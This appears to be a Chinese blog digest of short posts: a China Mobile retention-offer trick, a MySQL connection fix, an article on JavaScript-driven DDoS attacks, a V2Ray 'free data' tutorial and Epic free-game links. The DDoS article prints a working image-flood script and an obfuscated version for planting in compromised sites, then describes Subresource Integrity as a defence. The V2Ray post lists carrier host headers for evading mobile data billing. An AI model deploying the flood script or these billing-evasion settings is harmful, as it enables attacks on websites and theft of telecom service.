【活动】中国移动转网送流量 活动是移动为了不让用户携号转网出的活动，浙江/四川地区百分百成功（无保底消费，无套餐限制）其它少部分地区可能也有不携号转网送话费送流量活动，具体自己试试才知道有没有。 方法1： 拨打10086->转人工服务->接通后->你叫她帮你转接携号转网的专属客服->转接后->要转网，流量不够用，没活动。 方法2： 发送CXXZ#名字#身份证号到10086->然后不管它给你回复什么信息都不用管->大概一天左右就会有10086客服给你打电话->为什么想要携号转网->你就说流量不够用。自己在加点料。

【记录】Connection unexpectedly terminated 报错的解决 关关 Connection unexpectedly terminated 报错 解决方案 Mysql配置设置 pooling=false 设置这个，能解决问题 一个参数解决。

【安全】基于JavaScript的DDOS攻击 使用恶意的JavaScript欺骗用户参与DDoS攻击。 基于JavaScript的DDOS攻击有一个非比寻常的特点：任何有浏览器的设备都可能参与攻击，其潜在攻击规模接近无限。 基于JavaScript的DDOS攻击原理 现代网站的交互作用大多数都是采用JavaScript。JavaScript脚本可直接注入HTML中，或者通过 HTML从远程服务器载入。 function imgflood() {var TARGET = ''victim-website.com'var URI = '/index.php?' var pic = new Image()var rand = Math.floor(Math.random() * 1000)pic.src = 'http://'+TARGET+URI+rand+'=val'}setInterval(imgflood, 10) 该脚本会在目标网页上生成一个图片按钮，图片按钮会指向"'victim-website.com" 网站。只要用户访问了含有该脚本的网页，那么他就会成为 "'victim-website.com"DDoS攻击中的一员。浏览器发出的每一个请求都是有效请求，于是该攻击又变成了Layer 7 攻击。 由于是JS代码，所以通过查看网页源码，可以直接的看到攻击代码，发现是攻击网页。但如果以上的代码经过JShaman的混淆，JS代码会被保护起来，更难以被识别和发现： var _0x9ea1=['victim\\x2dwebsite\\x2ecom','\\x2findex\\x2ephp\\x3f','floor','random','src','http\\x3a\\x2f\\x2f','\\x3dval'];(function(_0xa439d7,_0x7a3f17){var _0x2fcd4b=function(_0x1be501){while(--_0x1be501){_0xa439d7['\\x70\\x75\\x73\\x68'](_0xa439d7['\\x73\\x68\\x69\\x66\\x74']());}};_0x2fcd4b(++_0x7a3f17);}(_0x9ea1,0xa1));var _0x19ea=function(_0x3ac308,_0x2c1ecf){_0x3ac308=_0x3ac308-0x0;var _0x393163=_0x9ea1[_0x3ac308];return _0x393163;};function imgflood(){var _0xcb2cd4=_0x19ea('0x0');var _0x3d1bbb=_0x19ea('0x1');var _0x189885=new Image();var _0x2dfc3a=Math[_0x19ea('0x2')](Math[_0x19ea('0x3')]()*0x3e8);_0x189885[_0x19ea('0x4')]=_0x19ea('0x5')+_0xcb2cd4+_0x3d1bbb+_0x2dfc3a+_0x19ea('0x6');}setInterval(imgflood,0xa); 如果攻击者入侵了一个网站，在网站js文件中嵌入了类似上面的恶意JavaScript脚本，那么该网站的每一个访客都将成为DDoS攻击中的一员。网站流量越高就意味着DDoS越严重。 如何防止这种攻击？ 目前HTTP还没有相关的机制来阻止该脚本的运行，但W3C已经提出了名叫子资源完整性（SRI）的新功能，使用加密哈希值验证脚本，如果哈希值不匹配浏览器可以阻止其运行。 例如，如下脚本标签： 浏览器会自动下载该.js文件，并且会不分青红皂白的运行它。即使该文件中被攻击者注入了恶意脚本，浏览器也不会识别（也识别不出）。然而如果网站发现了哈希值验证脚本不匹配，子资源完整性（SRI）会告诉浏览器不要运行该脚本。 建议网站管理员将添加这一标签添加到服务器上，用以保护其用户不被利用。

【教程】V2ray免流教程 使用教程： 首先下载服务器链接文本→用文件管理器打开并复制→打开v2ray客户端→点击右上角＋符号→点击从剪切板导入→此时已经可以看到服务器了→点击服务器右边的那个笔符号→往下滑动→找到 伪装域名→在下方的地方填上适合你的卡的混淆→点击右上角对号✓保存→点击右下角连接服务器 V2服务器需要80端口 443端口 少部分8080也可 伪装必须HTTP协议 免流请使用net接入点，节点连接后自行百度查看ip是否为你服务器ip，如果是，那么可以下载十兆左右的东西，然后关网过个十来分钟查询是否有扣流量，没扣的话就是免流了. 下面分享几个混淆能不能用请自己测试下好吧： 全国联通沃商店高级：game.hxll.wostore.cn#Connection: Keep-Alive\nAccept-Encoding: gzip 全国联通沃商店高级：music.hxll.wostore.cn#Connection: Keep-Alive\nAccept-Encoding: gzip 沃阅读高级：partner.iread.wo.com.cn#Connection: Keep-Alive\nAccept-Encoding: gzip 腾讯大王卡：szminorshort.weixin.qq.com#Upgrade: mmtls\nAccept: /\nConnection: close\nContent-Length: 533\nContent-Type: application/octet-stream 移动：抖音卡头条卡定向 有定向包可用：dm.toutiao.com 抖音卡头条卡定向 有定向包可用：v9-dy.ixigua.com 电信： 天翼视讯：vod3.nty.tv189.cn 爱玩4G：open.4g.play.cn 爱看4G： ltetp.tv189.com 湖北电信：hb.10000shequ.com 湖北电信：hb.10000shequ.com:8081 电信天翼：dy3.nty.tv189.cn 电信天翼：ltewap.tv189.com 电信天翼：tp.nty.tv189.com 电信大王卡(可欠费使用)：lt.hn.189.cn:1082 阿里鱼卡：mps.amap.com#Connection: Keep-Alive\nAccept-Encoding: gzip\nContent-Length: 680

【活动】Epic免费领4款游戏 截止到4月9号，免费送不领白不领。 ——— 1：https://www.epicgames.com/store/zh-CN/product/drawful-2/home 2：https://www.epicgames.com/store/zh-CN/product/gone-home/home 3：https://www.epicgames.com/store/zh-CN/product/hob/home 4：https://www.epicgames.com/store/zh-CN/product/totally-reliable-delivery-service/home